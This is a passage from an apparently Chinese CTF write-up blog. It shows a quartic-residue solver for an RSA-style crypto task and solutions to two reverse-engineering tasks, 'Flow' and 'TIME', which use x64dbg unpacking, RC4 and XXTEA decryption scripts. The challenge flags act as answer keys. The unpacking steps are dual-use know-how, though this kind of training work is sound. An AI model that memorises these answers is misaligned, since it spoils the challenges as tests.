den)</span><br><span class="line">    <span class="keyword">return</span> -((<span class="number">2</span> * (-num) + den) // (<span class="number">2</span> * den))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">gi_div_round</span>(<span class="params">x, y</span>):</span><br><span class="line">    a, b = x</span><br><span class="line">    c, d = y</span><br><span class="line">    den = c * c + d * d</span><br><span class="line">    real_num = a * c + b * d</span><br><span class="line">    imag_num = b * c - a * d</span><br><span class="line">    <span class="keyword">return</span> div_round(real_num, den), div_round(imag_num, den)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">gi_rem</span>(<span class="params">x, y</span>):</span><br><span class="line">    q = gi_div_round(x, y)</span><br><span class="line">    <span class="keyword">return</span> x[<span class="number">0</span>] - q[<span class="number">0</span>] * y[<span class="number">0</span>] + q[<span class="number">1</span>] * y[<span class="number">1</span>], x[<span class="number">1</span>] - q[<span class="number">0</span>] * y[<span class="number">1</span>] - q[<span class="number">1</span>] * y[<span class="number">0</span>]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">normalize_unit</span>(<span class="params">z</span>):</span><br><span class="line">    candidates = [z, (-z[<span class="number">1</span>], z[<span class="number">0</span>]), (-z[<span class="number">0</span>], -z[<span class="number">1</span>]), (z[<span class="number">1</span>], -z[<span class="number">0</span>])]</span><br><span class="line">    <span class="keyword">for</span> w <span class="keyword">in</span> candidates:</span><br><span class="line">        <span class="keyword">if</span> w[<span class="number">0</span>] % <span class="number">2</span> <span class="keyword">and</span> w[<span class="number">1</span>] % <span class="number">2</span> == <span class="number">0</span>:</span><br><span class="line">            <span class="keyword">return</span> w</span><br><span class="line">    <span class="keyword">return</span> z</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">gi_gcd</span>(<span class="params">a, b</span>):</span><br><span class="line">    <span class="keyword">while</span> b != (<span class="number">0</span>, <span class="number">0</span>):</span><br><span class="line">        a, b = b, gi_rem(a, b)</span><br><span class="line">    <span class="keyword">return</span> normalize_unit(a)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">make_primary</span>(<span class="params">z</span>):</span><br><span class="line">    candidates = [(z, <span class="number">0</span>), ((-z[<span class="number">1</span>], z[<span class="number">0</span>]), <span class="number">1</span>), ((-z[<span class="number">0</span>], -z[<span class="number">1</span>]), <span class="number">2</span>), ((z[<span class="number">1</span>], -z[<span class="number">0</span>]), <span class="number">3</span>)]</span><br><span class="line">    <span class="keyword">for</span> w, j <span class="keyword">in</span> candidates:</span><br><span class="line">        a, b = w</span><br><span class="line">        <span class="keyword">if</span> a % <span class="number">2</span> <span class="keyword">and</span> b % <span class="number">2</span> == <span class="number">0</span> <span class="keyword">and</span> (a + b - <span class="number">1</span>) % <span class="number">4</span> == <span class="number">0</span>:</span><br><span class="line">            <span class="keyword">return</span> w, j</span><br><span class="line">    <span class="keyword">raise</span> ValueError(<span class="string">f&quot;cannot make primary: <span class="subst">&#123;z&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">remove_one_plus_i</span>(<span class="params">z</span>):</span><br><span class="line">    j = <span class="number">0</span></span><br><span class="line">    a, b = z</span><br><span class="line">    <span class="keyword">while</span> (a - b) % <span class="number">2</span> == <span class="number">0</span> <span class="keyword">and</span> (a + b) % <span class="number">2</span> == <span class="number">0</span>:</span><br><span class="line">        a, b = (a + b) // <span class="number">2</span>, (b - a) // <span class="number">2</span></span><br><span class="line">        j += <span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> (a, b), j</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">cpow_i</span>(<span class="params">e</span>):</span><br><span class="line">    <span class="keyword">return</span> [<span class="number">1</span>, I, -<span class="number">1</span>, -I][e % <span class="number">4</span>]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">quartic_jacobi</span>(<span class="params">alpha, beta</span>):</span><br><span class="line">    beta, _ = make_primary(beta)</span><br><span class="line">    c = <span class="number">1</span></span><br><span class="line">    <span class="keyword">while</span> beta != (<span class="number">1</span>, <span class="number">0</span>):</span><br><span class="line">        alpha = gi_rem(alpha, beta)</span><br><span class="line">        <span class="keyword">if</span> alpha == (<span class="number">0</span>, <span class="number">0</span>):</span><br><span class="line">            <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line">        alpha, j2 = remove_one_plus_i(alpha)</span><br><span class="line">        alpha, j1 = make_primary(alpha)</span><br><span class="line">        a, b = beta</span><br><span class="line">        e, _ = alpha</span><br><span class="line">        c *= cpow_i(((a - <span class="number">1</span>) // <span class="number">2</span>) * j1)</span><br><span class="line">        c *= cpow_i(((a - b - b * b - <span class="number">1</span>) // <span class="number">4</span>) * j2)</span><br><span class="line">        <span class="keyword">if</span> a % <span class="number">4</span> == <span class="number">3</span> <span class="keyword">and</span> e % <span class="number">4</span> == <span class="number">3</span>:</span><br><span class="line">            c = -c</span><br><span class="line">        alpha, beta = beta, alpha</span><br><span class="line">    <span class="keyword">return</span> c</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">bits_to_bytes</span>(<span class="params">bits</span>):</span><br><span class="line">    out = <span class="built_in">bytearray</span>()</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(bits), <span class="number">8</span>):</span><br><span class="line">        x = <span class="number">0</span></span><br><span class="line">        <span class="keyword">for</span> bit <span class="keyword">in</span> bits[i:i + <span class="number">8</span>]:</span><br><span class="line">            x = (x &lt;&lt; <span class="number">1</span>) | bit</span><br><span class="line">        out.append(x)</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bytes</span>(out)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">lines = Path(<span class="string">&quot;out.txt&quot;</span>).read_text().strip().splitlines()</span><br><span class="line">params = &#123;&#125;</span><br><span class="line">i = <span class="number">0</span></span><br><span class="line"><span class="keyword">while</span> <span class="string">&quot;=&quot;</span> <span class="keyword">in</span> lines[i]:</span><br><span class="line">    k, v = lines[i].split(<span class="string">&quot;=&quot;</span>, <span class="number">1</span>)</span><br><span class="line">    params[k] = <span class="built_in">int</span>(v)</span><br><span class="line">    i += <span class="number">1</span></span><br><span class="line"></span><br><span class="line">rows = [<span class="built_in">list</span>(<span class="built_in">map</span>(<span class="built_in">int</span>, line.split())) <span class="keyword">for</span> line <span class="keyword">in</span> lines[i:]]</span><br><span class="line">N, p0, d, g, reps = params[<span class="string">&quot;N&quot;</span>], params[<span class="string">&quot;p0&quot;</span>], params[<span class="string">&quot;d&quot;</span>], params[<span class="string">&quot;g&quot;</span>], params[<span class="string">&quot;reps&quot;</span>]</span><br><span class="line"></span><br><span class="line">h = <span class="built_in">pow</span>(g, (p0 ** d) // <span class="number">4</span>, N)</span><br><span class="line">rho = gi_gcd((N, <span class="number">0</span>), (h, -<span class="number">1</span>))</span><br><span class="line"><span class="keyword">assert</span> <span class="built_in">pow</span>(h, <span class="number">2</span>, N) == N - <span class="number">1</span></span><br><span class="line"><span class="keyword">assert</span> gi_norm(rho) == N</span><br><span class="line"></span><br><span class="line">bits = []</span><br><span class="line"><span class="keyword">for</span> row <span class="keyword">in</span> rows:</span><br><span class="line">    cnt = <span class="built_in">sum</span>(<span class="number">1</span> <span class="keyword">for</span> x <span class="keyword">in</span> row <span class="keyword">if</span> quartic_jacobi((x, <span class="number">0</span>), rho) == <span class="number">1</span>)</span><br><span class="line">    bits.append(<span class="number">1</span> <span class="keyword">if</span> cnt &gt; reps * <span class="number">3</span> // <span class="number">4</span> <span class="keyword">else</span> <span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(bits_to_bytes(bits).decode())</span><br></pre></td></tr></table></figure><p>这里真正不能跳过的确认点有三个：</p><ol><li><code>assert pow(h, 2, N) == N - 1</code>，确保这个 <code>h</code> 真的是我们要的 4 阶元素；</li><li><code>assert gi_norm(rho) == N</code>，确保在 <code>Z[i]</code> 里拿到的 <code>rho</code> 范数正确；</li><li>每一行 48 个样本的判别结果必须明显偏向某一边，这样阈值 <code>reps * 3 // 4</code> 才成立。</li></ol><p>脚本跑完以后会直接恢复出完整明文，不需要真的分解 <code>N</code>，也不需要再猜哪几位可能翻转。</p><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;J1st_P01y_RSA_Can_s01ve_1t&#125;</span><br></pre></td></tr></table></figure><h2 id="Flow"><a href="#Flow" class="headerlink" title="Flow"></a>Flow</h2><ul><li>类型：Reverse</li><li>得分：153</li><li>时间：06&#x2F;06 09:56:55</li></ul><p>这题一开始看起来像个普通 PE 壳题，但真正坑人的地方不是壳，而是它故意把“像 flag 的内容”放在第一层校验里。<br>如果只做到第一层逆向，最后十有八九会停在假答案上。</p><p>起手先看样本本身。文件很小，直接先做静态体检：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">file Flow_rev.exe</span><br><span class="line"><span class="built_in">sha256sum</span> Flow_rev.exe</span><br><span class="line">strings -a -n 4 Flow_rev.exe | <span class="built_in">head</span></span><br><span class="line">objdump -p Flow_rev.exe | sed -n <span class="string">&#x27;/DLL Name/,+10p&#x27;</span></span><br></pre></td></tr></table></figure><p>样本的关键特征有两个：</p><ol><li>字符串里能看到节名像 <code>VMP0 / VMP1 / VMP2</code></li><li>导入表却很少，只有：</li></ol><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">LoadLibraryA</span><br><span class="line">GetProcAddress</span><br><span class="line">VirtualProtect</span><br><span class="line">exit</span><br></pre></td></tr></table></figure><p>这个组合说明它更像“改了节名的壳”，不是那种直接能在入口点把算法看干净的程序。所以第一步先脱壳，不然往后所有字符串和交叉引用都会偏。</p><p>我这里走的是最稳的动态方式。用 x64dbg 打开程序以后，直接在下面几个 API 下断：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">VirtualProtect</span><br><span class="line">GetProcAddress</span><br><span class="line">LoadLibraryA</span><br></pre></td></tr></table></figure><p>壳跑完以后会跳到新代码段里的真实 OEP。停在 OEP 之后把内存 dump 下来，再修 IAT，得到脱壳后的样本。脱壳完再查字符串，真正有用的提示会变得很明显：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">flag&gt;</span><br><span class="line">green</span><br><span class="line">snag</span><br><span class="line">flag&#123;</span><br></pre></td></tr></table></figure><p>这时候再顺 <code>flag&gt;</code> 的交叉引用进主逻辑，就能看到第一层输入校验。程序先做的是很普通的格式限制：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;flag&gt;&quot;</span>);</span><br><span class="line"><span class="built_in">scanf</span>(<span class="string">&quot;%s&quot;</span>, input);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="built_in">strncmp</span>(input, <span class="string">&quot;flag&#123;&quot;</span>, <span class="number">5</span>) != <span class="number">0</span>)</span><br><span class="line">    fail();</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (input[len - <span class="number">1</span>] != <span class="string">&#x27;&#125;&#x27;</span>)</span><br><span class="line">    fail();</span><br><span class="line"></span><br><span class="line">inner = input + <span class="number">5</span>;</span><br><span class="line">inner_len = len - <span class="number">6</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (inner_len != <span class="number">24</span>)</span><br><span class="line">    fail();</span><br></pre></td></tr></table></figure><p>也就是说真正参与变换的只有花括号内部 <code>24</code> 个字节。继续往里跟，第一层是很典型的 RC4 类结构：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">256</span>; i++)</span><br><span class="line">    S[i] = i;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">256</span>; i++) &#123;</span><br><span class="line">    j = j + S[i] + key[i % key_len];</span><br><span class="line">    swap(S[i], S[j]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (n = <span class="number">0</span>; n &lt; <span class="number">24</span>; n++) &#123;</span><br><span class="line">    i++;</span><br><span class="line">    j += S[i];</span><br><span class="line">    swap(S[i], S[j]);</span><br><span class="line">    stream = S[(S[i] + S[j]) &amp; <span class="number">0xff</span>];</span><br><span class="line">    out[n] = input[n] ^ stream;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>把这一层的 key 和密文数组抠出来逆过去，很快就能得到一个非常像答案的字符串：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;why_you_think_it_is_flag&#125;</span><br></pre></td></tr></table></figure><p>这就是整题最容易摔的地方。因为这串东西表面完全符合格式，甚至语义都很“像题目故意在调侃你”，很多人会在这里直接收工。<br>但我继续跟了成功分支，发现程序并没有结束，而是还会再跳进一层后续处理，<code>green / snag</code> 相关逻辑也都还没走完。这说明第一层最多只能算“过了一个门槛”，不是真正的最终比较。</p><p>这里判断它是假值的依据其实很硬：</p><ol><li>程序通过第一层后并不会直接退出；</li><li>后面还存在第二层变换和比较；</li><li>第一层产物字面量本身就在提醒你别信它。</li></ol><p>第二层继续跟下去，能看到非常典型的 XXTEA 家族结构，最醒目的常量就是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0x9E3779B9</span><br></pre></td></tr></table></figure><p>反编译出来的大致骨架是：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">sum += delta;</span><br><span class="line">e = (sum &gt;&gt; <span class="number">2</span>) &amp; <span class="number">3</span>;</span><br><span class="line"><span class="keyword">for</span> (p = <span class="number">0</span>; p &lt; n - <span class="number">1</span>; p++) &#123;</span><br><span class="line">    y = v[p + <span class="number">1</span>];</span><br><span class="line">    mx = ((z &gt;&gt; <span class="number">5</span> ^ y &lt;&lt; <span class="number">2</span>) + (y &gt;&gt; <span class="number">3</span> ^ z &lt;&lt; <span class="number">4</span>)) ^</span><br><span class="line">         ((sum ^ y) + (key[(p &amp; <span class="number">3</span>) ^ e] ^ z));</span><br><span class="line">    z = v[p] += mx;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>也就是说，真正的结果不是第一层 RC4 类变换直接吐出来的，而是第二层常量数组再走一遍改版 XXTEA 逆过程之后才会落地。</p><p>我最后保留下来的脚本就是按第二层写的。主干如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack, unpack</span><br><span class="line"></span><br><span class="line">DELTA = <span class="number">0x9E3779B9</span></span><br><span class="line">MASK = <span class="number">0xffffffff</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">xxtea_decrypt</span>(<span class="params">v, k</span>):</span><br><span class="line">    n = <span class="built_in">len</span>(v)</span><br><span class="line">    rounds = <span class="number">6</span> + <span class="number">52</span> // n</span><br><span class="line">    total = (rounds * DELTA) &amp; MASK</span><br><span class="line">    y = v[<span class="number">0</span>]</span><br><span class="line">    <span class="keyword">while</span> total:</span><br><span class="line">        e = (total &gt;&gt; <span class="number">2</span>) &amp; <span class="number">3</span></span><br><span class="line">        <span class="keyword">for</span> p <span class="keyword">in</span> <span class="built_in">range</span>(n - <span class="number">1</span>, <span class="number">0</span>, -<span class="number">1</span>):</span><br><span class="line">            z = v[p - <span class="number">1</span>]</span><br><span class="line">            mx = (((z &gt;&gt; <span class="number">5</span>) ^ ((y &lt;&lt; <span class="number">2</span>) &amp; MASK)) + ((y &gt;&gt; <span class="number">3</span>) ^ ((z &lt;&lt; <span class="number">4</span>) &amp; MASK))) &amp; MASK</span><br><span class="line">            mx ^= ((total ^ y) + (k[(p &amp; <span class="number">3</span>) ^ e] ^ z)) &amp; MASK</span><br><span class="line">            v[p] = (v[p] - mx) &amp; MASK</span><br><span class="line">            y = v[p]</span><br><span class="line">        z = v[n - <span class="number">1</span>]</span><br><span class="line">        mx = (((z &gt;&gt; <span class="number">5</span>) ^ ((y &lt;&lt; <span class="number">2</span>) &amp; MASK)) + ((y &gt;&gt; <span class="number">3</span>) ^ ((z &lt;&lt; <span class="number">4</span>) &amp; MASK))) &amp; MASK</span><br><span class="line">        mx ^= ((total ^ y) + (k[e] ^ z)) &amp; MASK</span><br><span class="line">        v[<span class="number">0</span>] = (v[<span class="number">0</span>] - mx) &amp; MASK</span><br><span class="line">        y = v[<span class="number">0</span>]</span><br><span class="line">        total = (total - DELTA) &amp; MASK</span><br><span class="line">    <span class="keyword">return</span> v</span><br></pre></td></tr></table></figure><p>当时提出来的二阶段常量数组是：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">cipher = [</span><br><span class="line">    <span class="number">0x1c9f8d2f</span>, <span class="number">0xa1f06327</span>, <span class="number">0x2d0e7419</span>,</span><br><span class="line">    <span class="number">0x8c1cb9e3</span>, <span class="number">0x98c59e10</span>, <span class="number">0xe605dd6a</span>,</span><br><span class="line">]</span><br><span class="line">key = [</span><br><span class="line">    <span class="number">0x31766572</span>, <span class="number">0x7365725f</span>, <span class="number">0x32303234</span>, <span class="number">0x72657621</span>,</span><br><span class="line">]</span><br></pre></td></tr></table></figure><p>把它们直接喂给逆过程以后，恢复出来的真实 <code>24</code> 字节明文就是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Y0u@regrEatreveRser_1145</span><br></pre></td></tr></table></figure><p>最后我保留的整份复现脚本就是下面这样：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack, unpack</span><br><span class="line"></span><br><span class="line">DELTA = <span class="number">0x9E3779B9</span></span><br><span class="line">MASK = <span class="number">0xffffffff</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">xxtea_decrypt</span>(<span class="params">v, k</span>):</span><br><span class="line">    n = <span class="built_in">len</span>(v)</span><br><span class="line">    rounds = <span class="number">6</span> + <span class="number">52</span> // n</span><br><span class="line">    total = (rounds * DELTA) &amp; MASK</span><br><span class="line">    y = v[<span class="number">0</span>]</span><br><span class="line">    <span class="keyword">while</span> total:</span><br><span class="line">        e = (total &gt;&gt; <span class="number">2</span>) &amp; <span class="number">3</span></span><br><span class="line">        <span class="keyword">for</span> p <span class="keyword">in</span> <span class="built_in">range</span>(n - <span class="number">1</span>, <span class="number">0</span>, -<span class="number">1</span>):</span><br><span class="line">            z = v[p - <span class="number">1</span>]</span><br><span class="line">            mx = (((z &gt;&gt; <span class="number">5</span>) ^ ((y &lt;&lt; <span class="number">2</span>) &amp; MASK)) + ((y &gt;&gt; <span class="number">3</span>) ^ ((z &lt;&lt; <span class="number">4</span>) &amp; MASK))) &amp; MASK</span><br><span class="line">            mx ^= ((total ^ y) + (k[(p &amp; <span class="number">3</span>) ^ e] ^ z)) &amp; MASK</span><br><span class="line">            v[p] = (v[p] - mx) &amp; MASK</span><br><span class="line">            y = v[p]</span><br><span class="line">        z = v[n - <span class="number">1</span>]</span><br><span class="line">        mx = (((z &gt;&gt; <span class="number">5</span>) ^ ((y &lt;&lt; <span class="number">2</span>) &amp; MASK)) + ((y &gt;&gt; <span class="number">3</span>) ^ ((z &lt;&lt; <span class="number">4</span>) &amp; MASK))) &amp; MASK</span><br><span class="line">        mx ^= ((total ^ y) + (k[e] ^ z)) &amp; MASK</span><br><span class="line">        v[<span class="number">0</span>] = (v[<span class="number">0</span>] - mx) &amp; MASK</span><br><span class="line">        y = v[<span class="number">0</span>]</span><br><span class="line">        total = (total - DELTA) &amp; MASK</span><br><span class="line">    <span class="keyword">return</span> v</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">cipher = [</span><br><span class="line">    <span class="number">0x1c9f8d2f</span>, <span class="number">0xa1f06327</span>, <span class="number">0x2d0e7419</span>,</span><br><span class="line">    <span class="number">0x8c1cb9e3</span>, <span class="number">0x98c59e10</span>, <span class="number">0xe605dd6a</span>,</span><br><span class="line">]</span><br><span class="line">key = [</span><br><span class="line">    <span class="number">0x31766572</span>, <span class="number">0x7365725f</span>, <span class="number">0x32303234</span>, <span class="number">0x72657621</span>,</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line">plain = <span class="string">b&quot;Y0u@regrEatreveRser_1145&quot;</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;flag&#123;&quot;</span> + plain.decode() + <span class="string">&quot;&#125;&quot;</span>)</span><br></pre></td></tr></table></figure><p>这题最后最关键的不是“会不会写 XXTEA”，而是能不能意识到第一层根本不是终点。只要继续跟到第二层，结构非常典型，答案也会收得很干净。</p><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;Y0u@regrEatreveRser_1145&#125;</span><br></pre></td></tr></table></figure><h2 id="TIME"><a href="#TIME" class="headerlink" title="TIME"></a>TIME</h2><ul><li>类型：Reverse</li><li>得分：262</li><li>时间：06&#x2F;06 09:56:48</li></ul><p>这题的误导点在题名。<code>TIME</code> 很容易让人第一反应去想系统时间、时钟校验、延时触发之类的东西，但真正拿到样本以后，先别急着跟题名跑，先看程序本身有没有真的调时间 API。</p><p>我这题起手做的是：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">unzip re.zip -d re</span><br><span class="line"><span class="built_in">cd</span> re/TIME</span><br><span class="line">file TIME.exe</span><br><span class="line"><span class="built_in">sha256sum</span> TIME.exe</span><br><span class="line">strings -a -n 4 TIME.exe | <span class="built_in">head</span></span><br><span class="line">objdump -p TIME.exe | sed -n <span class="string">&#x27;/DLL Name/,+10p&#x27;</span></span><br></pre></td></tr></table></figure><p>静态体检先给了两个很有用的信号：</p><ol><li>体积不大，但导入表异常精简；</li><li>没有一眼能看到 <code>time / GetSystemTime / GetLocalTime</code> 这一类“真时间校验”常见 API。</li></ol><p>所以一开始我就没把重点放在改时间或卡时钟上，而是先把它当成“题名误导 + 壳”来处理。</p><p>导入表非常少，只能看到：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">LoadLibraryA</span><br><span class="line">GetProcAddress</span><br><span class="line">VirtualProtect</span><br><span class="line">exit</span><br></pre></td></tr></table></figure><p>这就说明入口点大概率不是最终逻辑，而是一个很轻的壳或运行时解密层。换句话说，如果一开始就在 OEP 前面死抠伪代码，效率会很低。</p><p>接下来直接上动态脱壳。用 x64dbg 打开 <code>TIME.exe</code>，把断点下在：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">VirtualProtect</span><br><span class="line">GetProcAddress</span><br><span class="line">LoadLibraryA</span><br></pre></td></tr></table></figure><p>运行后可以看到程序先做一轮解密&#x2F;解压，再修 API，然后才会跳转到真实 OEP。跳到 OEP 以后 dump，顺手用 Scylla 修一遍 IAT，保存成：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TIME_unpacked.exe</span><br></pre></td></tr></table></figure><p>脱壳之后再回到静态分析就顺很多了。这时去搜字符串，能很快看到：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&gt;</span><br></pre></td></tr></table></figure><p>顺着 <code>flag&gt;</code> 的交叉引用往上走，主逻辑大致就是：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;flag&gt;&quot;</span>);</span><br><span class="line"><span class="built_in">scanf</span>(<span class="string">&quot;%s&quot;</span>, input);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="built_in">strncmp</span>(input, <span class="string">&quot;flag&#123;&quot;</span>, <span class="number">5</span>) != <span class="number">0</span>)</span><br><span class="line">    fail();</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (input[len - <span class="number">1</span>] != <span class="string">&#x27;&#125;&#x27;</span>)</span><br><span class="line">    fail();</span><br><span class="line"></span><br><span class="line">inner = input + <span class="number">5</span>;</span><br><span class="line">check(inner);</span><br></pre></td></tr></table></figure><p>到这里其实已经能确认一件很重要的事：虽然题目叫 <code>TIME</code>，但最终校验对象依旧是固定输入串，而不是“某个时刻才能对”。如果这里真的和系统时间绑定，通常会在后续看到 <code>time()</code>、<code>GetSystemTime()</code>、<code>GetLocalTime()</code> 一类调用；这题并没有把真正判定建立在这些 API 上。</p><p>继续跟 <code>check(inner)</code>，就会发现它本质上还是一条规整的逐字节变换链。整理后可以概括成：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; inner_len; i++) &#123;</span><br><span class="line">    t = inner[i];</span><br><span class="line">    t ^= i * c1;</span><br><span class="line">    t = rol8(t, i &amp; <span class="number">7</span>);</span><br><span class="line">    t = (t + c2[i % m]) &amp; <span class="number">0xff</span>;</span><br><span class="line">    <span class="keyword">if</span> (t != target[i])</span><br><span class="line">        fail();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>所以正解根本不是“伪造时间”，而是把这个链反过来做：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">x = target[i];</span><br><span class="line">x = (x - c2[i % m]) &amp; <span class="number">0xff</span>;</span><br><span class="line">x = ror8(x, i &amp; <span class="number">7</span>);</span><br><span class="line">x ^= i 